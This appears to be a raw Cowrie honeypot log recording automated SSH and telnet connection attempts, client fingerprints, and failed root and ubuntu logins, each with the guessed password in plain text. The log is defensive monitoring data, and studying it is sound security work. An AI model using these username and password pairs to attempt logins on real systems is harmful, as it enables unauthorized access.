{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:24.283806Z","src_ip":"38.93.206.2","session":"f6970f52b2a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:24.334829Z","src_ip":"38.93.206.2","session":"f6970f52b2a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a12345a","message":"login attempt [root/a12345a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:24.487516Z","src_ip":"38.93.206.2","session":"f6970f52b2a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:25.542902Z","src_ip":"38.93.206.2","session":"f6970f52b2a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.117.179.232","src_port":40472,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ac147f0884a","protocol":"ssh","message":"New connection: 45.117.179.232:40472 (10.17.0.5:22) [session: 9ac147f0884a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:26.647722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:26.651649Z","src_ip":"45.117.179.232","session":"9ac147f0884a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:26.907507Z","src_ip":"45.117.179.232","session":"9ac147f0884a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc123","message":"login attempt [root/qazwsxedc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:27.962608Z","src_ip":"45.117.179.232","session":"9ac147f0884a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:29.222556Z","src_ip":"45.117.179.232","session":"9ac147f0884a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.652671575546265,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:32.907598Z","src_ip":"152.42.224.71","session":"111b6553bd4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.234.173","src_port":50258,"dst_ip":"10.17.0.5","dst_port":22,"session":"3116db0623e4","protocol":"ssh","message":"New connection: 185.242.234.173:50258 (10.17.0.5:22) [session: 3116db0623e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:41.619033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:41.624162Z","src_ip":"185.242.234.173","session":"3116db0623e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:41.871650Z","src_ip":"185.242.234.173","session":"3116db0623e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Amir1234","message":"login attempt [root/Amir1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:42.544728Z","src_ip":"185.242.234.173","session":"3116db0623e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:43.753111Z","src_ip":"185.242.234.173","session":"3116db0623e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.200.156","src_port":45892,"dst_ip":"10.17.0.5","dst_port":22,"session":"9808515bc822","protocol":"ssh","message":"New connection: 49.51.200.156:45892 (10.17.0.5:22) [session: 9808515bc822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:49.686111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:49.690835Z","src_ip":"49.51.200.156","session":"9808515bc822","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:49.760620Z","src_ip":"49.51.200.156","session":"9808515bc822","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.85.27","src_port":59246,"dst_ip":"10.17.0.5","dst_port":22,"session":"70f49d931a8d","protocol":"ssh","message":"New connection: 43.153.85.27:59246 (10.17.0.5:22) [session: 70f49d931a8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:49.933270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:49.938749Z","src_ip":"43.153.85.27","session":"70f49d931a8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:50.007534Z","src_ip":"43.153.85.27","session":"70f49d931a8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"testtest","message":"login attempt [ubuntu/testtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:50.065411Z","src_ip":"49.51.200.156","session":"9808515bc822","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx#EDC4rfv","message":"login attempt [root/!QAZ2wsx#EDC4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:50.312269Z","src_ip":"43.153.85.27","session":"70f49d931a8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:51.136474Z","src_ip":"49.51.200.156","session":"9808515bc822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:51.384844Z","src_ip":"43.153.85.27","session":"70f49d931a8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33912,"dst_ip":"10.17.0.5","dst_port":23,"session":"4553e1ad5c4d","protocol":"telnet","message":"New connection: 152.42.224.71:33912 (10.17.0.5:23) [session: 4553e1ad5c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:53.443226Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":41740,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed6eb2d0cf80","protocol":"ssh","message":"New connection: 80.66.85.226:41740 (159.203.135.109:22) [session: ed6eb2d0cf80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:35:14.326754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:35:14.334246Z","src_ip":"80.66.85.226","session":"ed6eb2d0cf80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:35:14.442913Z","src_ip":"80.66.85.226","session":"ed6eb2d0cf80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321qwe","message":"login attempt [root/123321qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:35:14.740139Z","src_ip":"80.66.85.226","session":"ed6eb2d0cf80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:35:15.841875Z","src_ip":"80.66.85.226","session":"ed6eb2d0cf80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":85.16372108459473,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:35:16.908248Z","src_ip":"152.42.224.71","session":"6b616b1eeab2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46272,"dst_ip":"10.17.0.5","dst_port":23,"session":"396ece48056a","protocol":"telnet","message":"New connection: 152.42.224.71:46272 (10.17.0.5:23) [session: 396ece48056a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:35:33.819130Z"}
{"eventid":"cowrie.session.closed","duration":16.878352880477905,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:35:50.697356Z","src_ip":"152.42.224.71","session":"396ece48056a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46740,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdbd65ca3b5d","protocol":"telnet","message":"New connection: 152.42.224.71:46740 (10.17.0.5:23) [session: bdbd65ca3b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:35:53.579173Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.16.212.232","src_port":44512,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f649855db79","protocol":"ssh","message":"New connection: 59.16.212.232:44512 (159.203.135.109:22) [session: 3f649855db79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:35:53.671720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:35:53.677774Z","src_ip":"59.16.212.232","session":"3f649855db79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:35:53.874312Z","src_ip":"59.16.212.232","session":"3f649855db79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Redhat","message":"login attempt [root/Redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:35:54.702168Z","src_ip":"59.16.212.232","session":"3f649855db79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:35:55.904104Z","src_ip":"59.16.212.232","session":"3f649855db79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":56328,"dst_ip":"10.17.0.5","dst_port":22,"session":"55944a12c655","protocol":"ssh","message":"New connection: 193.32.162.145:56328 (10.17.0.5:22) [session: 55944a12c655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:35:58.742697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:35:58.747527Z","src_ip":"193.32.162.145","session":"55944a12c655","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:35:58.852202Z","src_ip":"193.32.162.145","session":"55944a12c655","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.0.214.136","src_port":3136,"dst_ip":"10.17.0.5","dst_port":22,"session":"8768835445ad","protocol":"ssh","message":"New connection: 181.0.214.136:3136 (10.17.0.5:22) [session: 8768835445ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:35:59.124529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:35:59.129298Z","src_ip":"181.0.214.136","session":"8768835445ad","protocol":"ssh"}
